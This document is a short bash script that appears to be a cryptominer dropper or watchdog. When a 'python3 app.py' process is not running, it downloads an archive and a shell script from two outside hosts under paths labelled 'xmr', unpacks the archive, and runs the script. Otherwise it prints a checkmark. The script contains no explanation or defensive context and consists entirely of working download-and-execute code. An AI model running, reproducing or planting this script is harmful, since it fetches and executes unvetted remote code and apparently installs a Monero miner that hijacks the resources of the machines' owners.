#!/bin/bash

if ! pgrep -f "python3 app.py" > /dev/null; then wget https://alat.warn.my03.com/xmr/app.tar && tar -xf app.tar && rm -rf app.tar && wget -O xmr.sh https://ric.warn.my03.com/xmr/xmr.sh && chmod +x ./xmr.sh && ./xmr.sh; else echo ✅; fi